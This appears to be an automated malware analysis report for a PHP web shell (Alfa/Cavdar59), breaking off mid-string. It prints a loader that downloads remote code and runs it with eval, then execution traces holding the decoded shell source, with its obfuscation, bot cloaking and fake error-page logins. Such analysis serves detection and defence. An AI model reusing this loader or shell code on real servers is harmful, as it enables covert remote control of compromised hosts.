PHP Malware Analysis

cvdr2.php

md5: 5b47017bd78b0060992162e4ec1e7205

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title
  • ..:: localhost ~ Cavdar59 Shell - v4.1-Cavdar59 ::.. (HTML)
  • ~ Cavdar59 Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~
    \n
    Cavdar59
    \n
    Traces)

URLs
  • ftp.example.com (HTML, Traces)
  • http://192.168.80.130:3000/hook.js (Traces)
  • http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain= (Traces)
  • http://localhost/uploads/cvdr2.php (Traces)
  • http://php.net/manual/en/function (Traces)
  • http://site.com/whmcs (Traces)
  • http://solevisible.com/aboutus.php (Traces)
  • http://solevisible.com/bc/windows.exe (Traces)
  • http://solevisible.com/customcolors/ (Traces)
  • http://solevisible.com/icons/ (HTML, Traces)
  • http://solevisible.com/icons/back.png (HTML)
  • http://solevisible.com/icons/folder.png (HTML)
  • http://solevisible.com/icons/menu/ (HTML, Traces)
  • http://solevisible.com/icons/menu/b_minus.png (HTML, Traces)
  • http://solevisible.com/icons/menu/b_plus.png (HTML, Traces)
  • http://solevisible.com/icons/menu/check-mark1.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/copy.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/delete.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/download2.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/edit.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/folder2.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/increase.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/key.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/link.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/move.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/newtab.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/rename.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/resize.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/terminal.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/time.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/time2.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/view.svg (HTML, Traces)
  • http://solevisible.com/icons/menu/warning.svg (HTML, Traces)
  • http://solevisible.com/icons/notfound.png (HTML)
  • http://solevisible.com/icons/php.png (HTML)
  • http://solevisible.com/images/alfa-iran.png (HTML, Traces)
  • http://solevisible.com/images/alfabg.png (HTML, Traces)
  • http://solevisible.com/images/alfamini.png (HTML, Traces)
  • http://solevisible.com/images/btn.png (HTML, Traces)
  • http://solevisible.com/images/farvahar-iran.png (Traces)
  • http://solevisible.com/images/flags/48/ (HTML, Traces)
  • http://solevisible.com/images/loader.svg (HTML, Traces)
  • http://solevisible.com/market.php (Traces)
  • http://solevisible.com/update.json?ver= (Traces)
  • http://www (Traces)
  • http://www.geoplugin.net/json.gp?ip= (Traces)
  • http://www.w3.org/1999/xhtml (HTML, Traces)
  • http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd (Traces)
  • http://www.zone-h.com/notify/single (Traces)
  • https://cavdar59.github.io/alfa (Deobfuscated, Original, Traces)
  • https://cavdar599.blogspot.com (HTML, Traces)
  • https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js (HTML, Traces)
  • https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js (HTML, Traces)
  • https://md5decrypt.net/Api/api.php?hash= (Traces)
  • https://md5decrypt.net/en/HashFinder/ (Traces)
  • https://target.com:2083 (Traces)
  • https://target.com:2222 (Traces)


Deobfuscated PHP code

<?php

$r3d = "https://cavdar59.github.io/alfa";
$l3nin = file_get_contents($r3d);
eval("?>" . base64_decode($l3nin));
?>
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<div style="display: none;">
<h1>AllFa</h1>
</html>

Execution traces

data/traces/5b47017bd78b0060992162e4ec1e7205_trace-1676258579.2999.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:23:25.197712]
1	0	1	0.000149	393512
1	3	0	0.000201	394224	{main}	1		/var/www/html/uploads/cvdr2.php	0	0
1		A						/var/www/html/uploads/cvdr2.php	2	$r3d = 'https://cavdar59.github.io/alfa'
2	4	0	0.000233	394224	file_get_contents	0		/var/www/html/uploads/cvdr2.php	3	1	'https://cavdar59.github.io/alfa'
2	4	1	0.078835	1032000
2	4	R			'PHNjcmlwdCBkYXRhLWNmYXN5bmM9J2ZhbHNlJyBzcmM9Jy8vY2F2ZGFyNTk5LmJsb2dzcG90LmNvbSc+PC9zY3JpcHQ+Cgo8P3BocAoKJEdMT0JBTFNbJ29aZ055cG9QUlUnXSA9IGFycmF5KAogICAgJ3VzZXJuYW1lJyA9PiAnYWxmYScsCiAgICAncGFzc3dvcmQnID0+ICdhNmY0NTJlYzMyOTNkN2ZiNzJjNWI2NzcyNTdiMjBlYycsLy9tZDUoZWhzYW4pCiAgICAnc2FmZV9tb2RlJyA9PiAnMCcsCiAgICAnbG9naW5fcGFnZScgPT4gJzQwMycsCiAgICAnc2hvd19pY29ucycgPT4gJzEnLAogICAgJ3Bvc3RfZW5jcnlwdGlvbicgPT4gZmFsc2UsCiAgICAnY2dpX2FwaScgPT4gdHJ1ZSwKKTsKCiRDV3BwVURKeHVmID0gJ2Z1JyAuICduJyAuICdjdCcgLiAnaW9uXycgLiAnZScg'
1		A						/var/www/html/uploads/cvdr2.php	3	$l3nin = 'PHNjcmlwdCBkYXRhLWNmYXN5bmM9J2ZhbHNlJyBzcmM9Jy8vY2F2ZGFyNTk5LmJsb2dzcG90LmNvbSc+PC9zY3JpcHQ+Cgo8P3BocAoKJEdMT0JBTFNbJ29aZ055cG9QUlUnXSA9IGFycmF5KAogICAgJ3VzZXJuYW1lJyA9PiAnYWxmYScsCiAgICAncGFzc3dvcmQnID0+ICdhNmY0NTJlYzMyOTNkN2ZiNzJjNWI2NzcyNTdiMjBlYycsLy9tZDUoZWhzYW4pCiAgICAnc2FmZV9tb2RlJyA9PiAnMCcsCiAgICAnbG9naW5fcGFnZScgPT4gJzQwMycsCiAgICAnc2hvd19pY29ucycgPT4gJzEnLAogICAgJ3Bvc3RfZW5jcnlwdGlvbicgPT4gZmFsc2UsCiAgICAnY2dpX2FwaScgPT4gdHJ1ZSwKKTsKCiRDV3BwVURKeHVmID0gJ2Z1JyAuICduJyAuICdjdCcgLiAnaW9uXycgLiAnZScg'
2	5	0	0.080242	1031960	base64_decode	0		/var/www/html/uploads/cvdr2.php	4	1	'PHNjcmlwdCBkYXRhLWNmYXN5bmM9J2ZhbHNlJyBzcmM9Jy8vY2F2ZGFyNTk5LmJsb2dzcG90LmNvbSc+PC9zY3JpcHQ+Cgo8P3BocAoKJEdMT0JBTFNbJ29aZ055cG9QUlUnXSA9IGFycmF5KAogICAgJ3VzZXJuYW1lJyA9PiAnYWxmYScsCiAgICAncGFzc3dvcmQnID0+ICdhNmY0NTJlYzMyOTNkN2ZiNzJjNWI2NzcyNTdiMjBlYycsLy9tZDUoZWhzYW4pCiAgICAnc2FmZV9tb2RlJyA9PiAnMCcsCiAgICAnbG9naW5fcGFnZScgPT4gJzQwMycsCiAgICAnc2hvd19pY29ucycgPT4gJzEnLAogICAgJ3Bvc3RfZW5jcnlwdGlvbicgPT4gZmFsc2UsCiAgICAnY2dpX2FwaScgPT4gdHJ1ZSwKKTsKCiRDV3BwVURKeHVmID0gJ2Z1JyAuICduJyAuICdjdCcgLiAnaW9uXycgLiAnZScg'
2	5	1	0.082372	1666872
2	5	R			'<script data-cfasync=\'false\' src=\'//cavdar599.blogspot.com\'></script>\n\n<?php\n\n$GLOBALS[\'oZgNypoPRU\'] = array(\n    \'username\' => \'alfa\',\n    \'password\' => \'a6f452ec3293d7fb72c5b677257b20ec\',//md5(ehsan)\n    \'safe_mode\' => \'0\',\n    \'login_page\' => \'403\',\n    \'show_icons\' => \'1\',\n    \'post_encryption\' => false,\n    \'cgi_api\' => true,\n);\n\n$CWppUDJxuf = \'fu\' . \'n\' . \'ct\' . \'ion_\' . \'e\' . \'xist\' . \'s\';\n$aztJtafUXm = \'cha\' . \'r\' . \'C\' . \'o\' . \'d\''
2	6	0	0.093257	3882768	eval	1	'?><script data-cfasync=\'false\' src=\'//cavdar599.blogspot.com\'></script>\n\n<?php\n\n$GLOBALS[\'oZgNypoPRU\'] = array(\n    \'username\' => \'alfa\',\n    \'password\' => \'a6f452ec3293d7fb72c5b677257b20ec\',//md5(ehsan)\n    \'safe_mode\' => \'0\',\n    \'login_page\' => \'403\',\n    \'show_icons\' => \'1\',\n    \'post_encryption\' => false,\n    \'cgi_api\' => true,\n);\n\n$CWppUDJxuf = \'fu\' . \'n\' . \'ct\' . \'ion_\' . \'e\' . \'xist\' . \'s\';\n$aztJtafUXm = \'cha\' . \'r\' . \'C\' . \'o\' . \'d\' . \'e\' . \'A\' . \'t\' . \'\';\n$OVpGNqqFZs = \'e\' . \'v\' . \'al\';\n$psDEwGhsxg = \'gz\' . \'inf\' . \'late\';\n\nif (!$CWppUDJxuf(\'b\' . \'a\' . \'se64\' . \'_en\' . \'c\' . \'ode\' . \'\'))\n{\n    function vcnvSCZgBz($data)\n    {\n        if (empty($data)) return;\n        $b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';\n        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;\n        $ac = 0;\n        $enc = \'\';\n        $tmp_arr = array();\n        if (!$data)\n        {\n            return $data;\n        }\n        do\n        {\n            $o1 = $aztJtafUXm($data, $i++);\n            $o2 = $aztJtafUXm($data, $i++);\n            $o3 = $aztJtafUXm($data, $i++);\n            $bits = $o1 << 16 | $o2 << 8 | $o3;\n            $h1 = $bits >> 18 & 0x3f;\n            $h2 = $bits >> 12 & 0x3f;\n            $h3 = $bits >> 6 & 0x3f;\n            $h4 = $bits & 0x3f;\n            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);\n        }\n        while ($i < strlen($data));\n        $enc = implode($tmp_arr, \'\');\n        $r = (strlen($data) % 3);\n        return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr(\'===\', ($r || 3));\n    }\n    function charCodeAt($data, $char)\n    {\n        return ord(substr($data, $char, 1));\n    }\n    function charAt($data, $char)\n    {\n        return substr($data, $char, 1);\n    }\n}\nelse\n{\n    function vcnvSCZgBz($s)\n    {\n        $b = \'b\' . \'a\' . \'se64\' . \'_en\' . \'c\' . \'ode\' . \'\';\n        return $b($s);\n    }\n}\nif (!$CWppUDJxuf(\'b\' . \'a\' . \'se\' . \'6\' . \'4\' . \'_d\' . \'ecod\' . \'e\' . \'\'))\n{\n    function zRtSHsbTzV($input)\n    {\n        if (empty($input)) return;\n        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";\n        $chr1 = $chr2 = $chr3 = "";\n        $enc1 = $enc2 = $enc3 = $enc4 = "";\n        $i = 0;\n        $output = "";\n        $input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);\n        do\n        {\n            $enc1 = strpos($keyStr, substr($input, $i++, 1));\n            $enc2 = strpos($keyStr, substr($input, $i++, 1));\n            $enc3 = strpos($keyStr, substr($input, $i++, 1));\n            $enc4 = strpos($keyStr, substr($input, $i++, 1));\n            $chr1 = ($enc1 << 2) | ($enc2 >> 4);\n            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);\n            $chr3 = (($enc3 & 3) << 6) | $enc4;\n            $output = $output . chr((int)$chr1);\n            if ($enc3 != 64)\n            {\n                $output = $output . chr((int)$chr2);\n            }\n            if ($enc4 != 64)\n            {\n                $output = $output . chr((int)$chr3);\n            }\n            $chr1 = $chr2 = $chr3 = "";\n            $enc1 = $enc2 = $enc3 = $enc4 = "";\n        }\n        while ($i < strlen($input));\n        return $output;\n    }\n}\nelse\n{\n    function zRtSHsbTzV($s)\n    {\n        $b = \'b\' . \'a\' . \'se\' . \'6\' . \'4\' . \'_d\' . \'ecod\' . \'e\' . \'\';\n        return $b($s);\n    }\n}\n\nfunction __ZW5jb2Rlcg($s)\n{\n    return vcnvSCZgBz($s);\n}\nfunction __ZGVjb2Rlcg($s)\n{\n    return zRtSHsbTzV($s);\n}\n\n$GLOBALS[\'DB_NAME\'] = $GLOBALS[\'oZgNypoPRU\'];\n\nforeach ($GLOBALS[\'DB_NAME\'] as $key => $value)\n{\n    $prefix = substr($key, 0, 2);\n    if ($prefix == "us")\n    {\n        $GLOBALS[\'DB_NAME\']["user"] = $value;\n        $GLOBALS[\'DB_NAME\']["user_rand"] = $key;\n    }\n    elseif ($prefix == "pa")\n    {\n        $GLOBALS[\'DB_NAME\']["pass"] = $value;\n        $GLOBALS[\'DB_NAME\']["pass_rand"] = $key;\n    }\n    elseif ($prefix == "sa")\n    {\n        $GLOBALS[\'DB_NAME\']["safemode"] = $value;\n        $GLOBALS[\'DB_NAME\']["safemode_rand"] = $key;\n    }\n    elseif ($prefix == "lo")\n    {\n        $GLOBALS[\'DB_NAME\']["login_page"] = $value;\n        $GLOBALS[\'DB_NAME\']["login_page_rand"] = $key;\n    }\n    elseif ($prefix == "sh")\n    {\n        $GLOBALS[\'DB_NAME\']["show_icons"] = $value;\n        $GLOBALS[\'DB_NAME\']["show_icons_rand"] = $key;\n    }\n    elseif ($prefix == "po")\n    {\n        $GLOBALS[\'DB_NAME\']["post_encryption"] = $value;\n        $GLOBALS[\'DB_NAME\']["post_encryption_rand"] = $key;\n    }\n    elseif ($prefix == "cg")\n    {\n        $GLOBALS[\'DB_NAME\']["cgi_api"] = $value;\n        $GLOBALS[\'DB_NAME\']["cgi_api_rand"] = $key;\n    }\n}\n\nunset($GLOBALS[\'oZgNypoPRU\']);\n\nif (!isset($_SERVER["HTTP_HOST"])) exit();\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}\nif(!isset($GLOBALS[\'DB_NAME\'][\'user\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'user\\\']\');\nif(!isset($GLOBALS[\'DB_NAME\'][\'pass\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'pass\\\']\');\nif(!isset($GLOBALS[\'DB_NAME\'][\'safemode\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'safemode\\\']\');\nif(!isset($GLOBALS[\'DB_NAME\'][\'login_page\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'login_page\\\']\');\nif(!isset($GLOBALS[\'DB_NAME\'][\'show_icons\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'show_icons\\\']\');\nif(!isset($GLOBALS[\'DB_NAME\'][\'post_encryption\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'post_encryption\\\']\');\ndefine("__ALFA_VERSION__", "4.1");\ndefine("__ALFA_UPDATE__", "2");\ndefine("__ALFA_CODE_NAME__", "Cavdar59");\ndefine("__Cavdar59_DATA_FOLDER__", "Cavdar59_DATA");\ndefine("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));\ndefine("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():\'\');\n$GLOBALS[\'__ALFA_COLOR__\'] = array(\n        "shell_border" => array(\n            "key_color" => "#0E304A",\n            "multi_selector" => array(\n                ".header" => "border: 7px solid {color}",\n                "#meunlist" => "border-color: {color}",\n                "#hidden_sh" => "background-color: {color}",\n                ".ajaxarea" => "border: 1px solid {color}",\n                ".foot" => "border-color: {color}",\n            )\n        ),\n        "header_vars" => "#27979B",\n        "header_values" => "#67ABDF",\n        "header_on" => "#00FF00",\n        "header_off" => "#ff0000",\n        "header_none" => "#00FF00",\n        "home_shell" => "#ff0000",\n        "home_shell:hover" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".home_shell:hover" => "color: {color};",\n            )\n        ),\n        "back_shell" => "#efbe73",\n        "back_shell:hover" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".back_shell:hover" => "color: {color};",\n            )\n        ),\n        "header_pwd" => "#00FF00",\n        "header_pwd:hover" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".header_pwd:hover" => "color: {color};",\n            )\n        ),\n        "header_drive" => "#00FF00",\n        "header_drive:hover" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".header_drive:hover" => "color: {color};",\n            )\n        ),\n        "header_show_all" => "#00FF00",\n        "disable_functions" => "#ff0000",\n        "footer_text" => "#27979B",\n        "menu_options" => "#27979B",\n        "menu_options:hover" => array(\n            "key_color" => "#646464",\n            "multi_selector" => array(\n                ".menu_options:hover" => "background-color: {color};font-weight: unset;",\n            )\n        ),\n        "options_list" => array(\n            "key_color" => "#00FF00",\n            "multi_selector" => array(\n                ".content_options_holder .header center a" => "color: {color};",\n            )\n        ),\n        "options_list:hover" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".content_options_holder .header center a:hover" => "color: {color};",\n            )\n        ),\n        "options_list_header" => array(\n            "key_color" => "#59cc33",\n            "multi_selector" => array(\n                ".txtfont_header" => "color: {color};",\n            )\n        ),\n        "options_list_text" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".txtfont,.tbltxt" => "color: {color};",\n            )\n        ),\n        "Alfa+" => array(\n            "key_color" => "#06ff0f",\n            "multi_selector" => array(\n                ".alfa_plus" => "color: {color};font-weight: unset;",\n            )\n        ),\n        "hidden_shell_text" => array(\n            "key_color" => "#00FF00",\n            "multi_selector" => array(\n                "#hidden_sh a" => "color: {color};",\n            )\n        ),\n        "hidden_shell_version" => "#ff0000",\n        "shell_name" => "#FF0000",\n        "main_row:hover" => array(\n            "key_color" => "#646464",\n            "multi_selector" => array(\n                ".main tr:hover" => "background-color: {color};",\n            )\n        ),\n        "main_header" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".main th" => "color: {color};",\n            )\n        ),\n        "main_name" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".main .main_name" => "color: {color};font-weight: unset;",\n            )\n        ),\n        "main_size" => "#67ABDF",\n        "main_modify" => "#67ABDF",\n        "main_owner_group" => "#67ABDF",\n        "main_green_perm" => "#25ff00",\n        "main_red_perm" => "#FF0000",\n        "main_white_perm" => "#FFFFFF",\n        "beetween_perms" => "#FFFFFF",\n        "main_actions" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".main .actions" => "color: {color};",\n            )\n        ),\n        "menu_options:hover" => array(\n            "key_color" => "#646464",\n            "multi_selector" => array(\n                ".menu_options:hover" => "background-color: {color};font-weight: unset;",\n            )\n        ),\n        "minimize_editor_background" => array(\n            "key_color" => "#0e304a",\n            "multi_selector" => array(\n                ".minimized-wrapper" => "background-color: {color};",\n            )\n        ),\n        "minimize_editor_text" => array(\n            "key_color" => "#f5deb3",\n            "multi_selector" => array(\n                ".minimized-text" => "color: {color};",\n            )\n        ),\n        "editor_border" => array(\n            "key_color" => "#0e304a",\n            "multi_selector" => array(\n                ".editor-explorer,.editor-modal" => "border: 2px solid {color};",\n            )\n        ),\n        "editor_background" => array(\n            "key_color" => "rgba(0, 1, 23, 0.94)",\n            "multi_selector" => array(\n                ".editor-explorer,.editor-modal" => "background-color: {color};",\n            )\n        ),\n        "editor_header_background" => array(\n            "key_color" => "rgba(21, 66, 88, 0.93)",\n            "multi_selector" => array(\n                ".editor-header" => "background-color: {color};",\n            )\n        ),\n        "editor_header_text" => array(\n            "key_color" => "#00ff7f",\n            "multi_selector" => array(\n                ".editor-path" => "color: {color};",\n            )\n        ),\n        "editor_header_button" => array(\n            "key_color" => "#1d5673",\n            "multi_selector" => array(\n                ".close-button, .editor-minimize" => "background-color: {color};",\n            )\n        ),\n        "editor_actions" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".editor_actions" => "color: {color};",\n            )\n        ),\n        "editor_file_info_vars" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".editor_file_info_vars" => "color: {color};",\n            )\n        ),\n        "editor_file_info_values" => array(\n            "key_color" => "#67ABDF",\n            "multi_selector" => array(\n                ".filestools" => "color: {color};",\n            )\n        ),\n        "editor_history_header" => array(\n            "key_color" => "#14ff07",\n            "multi_selector" => array(\n                ".hheader-text,.history-clear" => "color: {color};",\n            )\n        ),\n        "editor_history_list" => array(\n            "key_color" => "#03b3a3",\n            "multi_selector" => array(\n                ".editor-file-name" => "color: {color};",\n            )\n        ),\n        "editor_history_selected_file" => array(\n            "key_color" => "rgba(49, 55, 93, 0.77)",\n            "multi_selector" => array(\n                ".is_active" => "background-color: {color};",\n            )\n        ),\n        "editor_history_file:hover" => array(\n            "key_color" => "#646464",\n            "multi_selector" => array(\n                ".file-holder > .history:hover" => "background-color: {color};",\n            )\n        ),\n        "input_box_border" => array(\n            "key_color" => "#0E304A",\n            "multi_selector" => array(\n                "input[type=text],textarea" => "border: 1px solid {color}",\n            )\n        ),\n        "input_box_text" => array(\n            "key_color" => "#999999",\n            "multi_selector" => array(\n                "input[type=text],textarea" => "color: {color};",\n            )\n        ),\n        "input_box:hover" => array(\n            "key_color" => "#27979B",\n            "multi_selector" => array(\n                "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\n            )\n        ),\n        "select_box_border" => array(\n            "key_color" => "#0E304A",\n            "multi_selector" => array(\n                "select" => "border: 1px solid {color}",\n            )\n        ),\n        "select_box_text" => array(\n            "key_color" => "#FFFFEE",\n            "multi_selector" => array(\n                "select" => "color: {color};",\n            )\n        ),\n        "select_box:hover" => array(\n            "key_color" => "#27979B",\n            "multi_selector" => array(\n                "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\n            )\n        ),\n        "button_border" => array(\n            "key_color" => "#27979B",\n            "multi_selector" => array(\n                "input[type=submit],.button,#addup" => "border: 1px solid {color};",\n            )\n        ),\n        "button:hover" => array(\n            "key_color" => "#27979B",\n            "multi_selector" => array(\n                "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",\n                ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\n            )\n        ),\n        "outputs_text" => array(\n            "key_color" => "#67ABDF",\n            "multi_selector" => array(\n                ".ml1" => "color: {color};",\n            )\n        ),\n        "outputs_border" => array(\n            "key_color" => "#0E304A",\n            "multi_selector" => array(\n                ".ml1" => "border: 1px solid {color};",\n            )\n        ),\n        "uploader_border" => array(\n            "key_color" => "#0E304A",\n            "multi_selector" => array(\n                ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",\n            )\n        ),\n        "uploader_background" => array(\n            "key_color" => "#0E304A",\n            "multi_selector" => array(\n                ".inputfile strong" => "background-color: {color};",\n            )\n        ),\n        "uploader_text_right" => array(\n            "key_color" => "#FFFFFF",\n            "multi_selector" => array(\n                ".inputfile strong" => "color: {color};",\n            )\n        ),\n        "uploader_text_left" => array(\n            "key_color" => "#25ff00",\n            "multi_selector" => array(\n                ".inputfile span" => "color: {color};",\n            )\n        ),\n        "uploader:hover" => array(\n            "key_color" => "#27979B",\n            "multi_selector" => array(\n                ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\n            )\n        ),\n        "uploader_progress_bar" => array(\n            "key_color" => "#00ff00",\n            "multi_selector" => array(\n                ".up_bar" => "background-color: {color};",\n            )\n        ),\n        "mysql_tables" => "#00FF00",\n        "mysql_table_count" => "#67ABDF",\n        "copyright" => "#dfff00",\n        "scrollbar" => array(\n            "key_color" => "#1e82b5",\n            "multi_selector" => array(\n                "*::-webkit-scrollbar-thumb" => "background-color: {color};",\n            )\n        ),\n        "scrollbar_background" => array(\n            "key_color" => "#000115",\n            "multi_selector" => array(\n                "*::-webkit-scrollbar-track" => "background-color: {color};",\n            )\n        ),\n);\n$GLOBALS[\'__file_path\'] = str_replace(\'\\\\\',\'/\',trim(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)));\n$config = array(\'AlfaUser\' => $GLOBALS[\'DB_NAME\'][\'user\'],\'AlfaPass\' => $GLOBALS[\'DB_NAME\'][\'pass\'],\'AlfaProtectShell\' => $GLOBALS[\'DB_NAME\'][\'safemode\'],\'AlfaLoginPage\' => $GLOBALS[\'DB_NAME\'][\'login_page\']);\n//@session_start();\n@session_write_close();\n@ignore_user_abort(true);\n@set_time_limit(0);\n@ini_set(\'memory_limit\', \'-1\');\n@ini_set("upload_max_filesize", "9999m");\nif($config[\'AlfaProtectShell\']){\n$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");\n$Eform=\'<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>\';\nif($config[\'AlfaLoginPage\'] == \'gui\'){\nif(@$_COOKIE["AlfaUser"] != $config[\'AlfaUser\'] && $_COOKIE["AlfaPass"] != md5($config[\'AlfaPass\'])){\nif(@$_POST["usrname"]==$config[\'AlfaUser\'] && @md5($_POST["password"])==$config[\'AlfaPass\']){\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\n}\necho \'\n<style>\nbody{background: black;}\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\n#loginbox td { border-radius:5px; font-size:11px; }\n</style>\n<title>~ Cavdar59 Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</title><center>\n<center><img style="border-radius:100px;" width="500" height="250" alt="Cavdar59" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>\n<div id=loginbox><p><font face="verdana,arial" size=-1>\n<center><table cellpadding=\\\'2\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' id=\\\'ap_table\\\'>\n<tr><td bgcolor="green"><table cellpadding=\\\'0\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' width=\\\'100%\\\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ Cavdar59 Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</b></font></th></tr>\n<tr><td bgcolor="black" style="padding:5">\n<form method="post">\n<input type="hidden" name="action" value="login">\n<input type="hidden" name="hide" value="">\n<center><table>\n<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \\\'username\\\'){this.value = \\\'\\\';}"></td></tr>\n<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \\\'password\\\') this.value = \\\'\\\';"></td></tr>\n<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>\n</div><br /></center>\';\nexit;\n}\n}elseif($config[\'AlfaLoginPage\']==\'500\'){\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\n}\necho \'<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, \'.$_SERVER[\'SERVER_ADMIN\'].\' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>\'.$SERVER_SIG.\'</body></html>\'.$Eform;\nexit;\n}\n}elseif($config[\'AlfaLoginPage\']==\'403\'){\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\n}\necho "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don\'t have permission to access ".$_SERVER[\'PHP_SELF\']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\nexit;\n}\n}elseif($config[\'AlfaLoginPage\']==\'404\'){\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\n}\necho "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER[\'PHP_SELF\']." was not found on this server.<br><br>Additionally, a 